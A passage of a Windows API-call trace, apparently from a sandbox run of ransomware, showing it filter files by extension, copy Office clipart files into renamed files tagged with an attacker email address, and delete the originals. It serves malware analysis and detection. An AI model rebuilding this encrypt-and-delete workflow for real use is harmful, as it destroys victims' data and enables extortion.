	[0076.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.537] lstrlenW (lpString=".doc") returned 4
	[0076.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.537] lstrlenW (lpString=".docx") returned 5
	[0076.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.537] lstrlenW (lpString=".pdf") returned 4
	[0076.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString=".xls") returned 4
	[0076.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.538] lstrlenW (lpString=".xlsx") returned 5
	[0076.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.538] lstrlenW (lpString=".ppt") returned 4
	[0076.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.538] lstrlenW (lpString=".zip") returned 4
	[0076.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.538] lstrlenW (lpString=".rar") returned 4
	[0076.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString=".bz2") returned 4
	[0076.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString=".7z") returned 3
	[0076.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.538] lstrlenW (lpString=".dbf") returned 4
	[0076.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.538] lstrlenW (lpString=".1cd") returned 4
	[0076.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0076.538] lstrlenW (lpString=".jpg") returned 4
	[0076.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.538] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.538] lstrlenW (lpString="CG1606.WMF") returned 10
	[0076.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.539] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3564) returned 1
	[0076.539] CloseHandle (hObject=0x37c) returned 1
	[0076.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220
	[0076.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.540] GetLastError () returned 0x0
	[0076.540] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xdec, lpOverlapped=0x0) returned 1
	[0076.542] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xdf0, lpOverlapped=0x0) returned 1
	[0076.752] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.753] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0076.753] SetEndOfFile (hFile=0x33c) returned 1
	[0076.753] CloseHandle (hObject=0x33c) returned 1
	[0076.754] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.754] SetEndOfFile (hFile=0x37c) returned 1
	[0076.755] CloseHandle (hObject=0x37c) returned 1
	[0076.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1
	[0076.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString=".doc") returned 4
	[0076.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString=".docx") returned 5
	[0076.756] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0076.756] lstrlenW (lpString=".pdf") returned 4
	[0076.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString=".xls") returned 4
	[0076.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.756] lstrlenW (lpString=".xlsx") returned 5
	[0076.756] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0076.756] lstrlenW (lpString=".ppt") returned 4
	[0076.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString=".zip") returned 4
	[0076.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.756] lstrlenW (lpString=".rar") returned 4
	[0076.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString=".bz2") returned 4
	[0076.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString=".7z") returned 3
	[0076.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString=".dbf") returned 4
	[0076.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString=".1cd") returned 4
	[0076.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString=".jpg") returned 4
	[0076.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.757] lstrlenW (lpString=".doc") returned 4
	[0076.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString=".docx") returned 5
	[0076.757] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0076.757] lstrlenW (lpString=".pdf") returned 4
	[0076.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString=".xls") returned 4
	[0076.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.757] lstrlenW (lpString=".xlsx") returned 5
	[0076.757] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0076.757] lstrlenW (lpString=".ppt") returned 4
	[0076.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.757] lstrlenW (lpString=".zip") returned 4
	[0076.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.757] lstrlenW (lpString=".rar") returned 4
	[0076.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString=".bz2") returned 4
	[0076.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString=".7z") returned 3
	[0076.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.757] lstrlenW (lpString=".dbf") returned 4
	[0076.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.757] lstrlenW (lpString=".1cd") returned 4
	[0076.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0076.757] lstrlenW (lpString=".jpg") returned 4
	[0076.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.758] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.758] lstrlenW (lpString="DD00121_.WMF") returned 12
	[0076.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.758] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=8256) returned 1
	[0076.758] CloseHandle (hObject=0x37c) returned 1
	[0076.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220
	[0076.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.759] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.759] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.760] GetLastError () returned 0x0
	[0076.760] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2040, lpOverlapped=0x0) returned 1
	[0076.761] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2050, lpOverlapped=0x0) returned 1
	[0076.762] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.762] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.762] SetEndOfFile (hFile=0x33c) returned 1
	[0076.763] CloseHandle (hObject=0x33c) returned 1
	[0076.767] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.767] SetEndOfFile (hFile=0x37c) returned 1
	[0076.768] CloseHandle (hObject=0x37c) returned 1
	[0076.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1
	[0076.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.769] lstrlenW (lpString=".doc") returned 4
	[0076.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.769] lstrlenW (lpString=".docx") returned 5
	[0076.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.769] lstrlenW (lpString=".pdf") returned 4
	[0076.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.769] lstrlenW (lpString=".xls") returned 4
	[0076.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.769] lstrlenW (lpString=".xlsx") returned 5
	[0076.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.769] lstrlenW (lpString=".ppt") returned 4
	[0076.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.769] lstrlenW (lpString=".zip") returned 4
	[0076.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.770] lstrlenW (lpString=".rar") returned 4
	[0076.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString=".bz2") returned 4
	[0076.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString=".7z") returned 3
	[0076.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.770] lstrlenW (lpString=".dbf") returned 4
	[0076.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.770] lstrlenW (lpString=".1cd") returned 4
	[0076.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.770] lstrlenW (lpString=".jpg") returned 4
	[0076.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.770] lstrlenW (lpString=".doc") returned 4
	[0076.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString=".docx") returned 5
	[0076.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.770] lstrlenW (lpString=".pdf") returned 4
	[0076.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString=".xls") returned 4
	[0076.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.770] lstrlenW (lpString=".xlsx") returned 5
	[0076.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.770] lstrlenW (lpString=".ppt") returned 4
	[0076.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.771] lstrlenW (lpString=".zip") returned 4
	[0076.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.771] lstrlenW (lpString=".rar") returned 4
	[0076.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.771] lstrlenW (lpString=".bz2") returned 4
	[0076.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.771] lstrlenW (lpString=".7z") returned 3
	[0076.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.771] lstrlenW (lpString=".dbf") returned 4
	[0076.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.771] lstrlenW (lpString=".1cd") returned 4
	[0076.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0076.771] lstrlenW (lpString=".jpg") returned 4
	[0076.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.771] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.771] lstrlenW (lpString="DD00234_.WMF") returned 12
	[0076.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.781] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=29628) returned 1
	[0076.781] CloseHandle (hObject=0x37c) returned 1
	[0076.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220
	[0076.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.782] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.782] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.782] GetLastError () returned 0x0
	[0076.782] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x73bc, lpOverlapped=0x0) returned 1
	[0076.784] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x73c0, lpOverlapped=0x0) returned 1
	[0076.786] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.786] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.786] SetEndOfFile (hFile=0x33c) returned 1
	[0076.786] CloseHandle (hObject=0x33c) returned 1
	[0076.788] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.788] SetEndOfFile (hFile=0x37c) returned 1
	[0076.789] CloseHandle (hObject=0x37c) returned 1
	[0076.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1
	[0076.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.789] lstrlenW (lpString=".doc") returned 4
	[0076.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.789] lstrlenW (lpString=".docx") returned 5
	[0076.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.789] lstrlenW (lpString=".pdf") returned 4
	[0076.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString=".xls") returned 4
	[0076.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.790] lstrlenW (lpString=".xlsx") returned 5
	[0076.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.790] lstrlenW (lpString=".ppt") returned 4
	[0076.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.790] lstrlenW (lpString=".zip") returned 4
	[0076.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.790] lstrlenW (lpString=".rar") returned 4
	[0076.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString=".bz2") returned 4
	[0076.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString=".7z") returned 3
	[0076.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.790] lstrlenW (lpString=".dbf") returned 4
	[0076.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.790] lstrlenW (lpString=".1cd") returned 4
	[0076.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0076.790] lstrlenW (lpString=".jpg") returned 4
	[0076.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
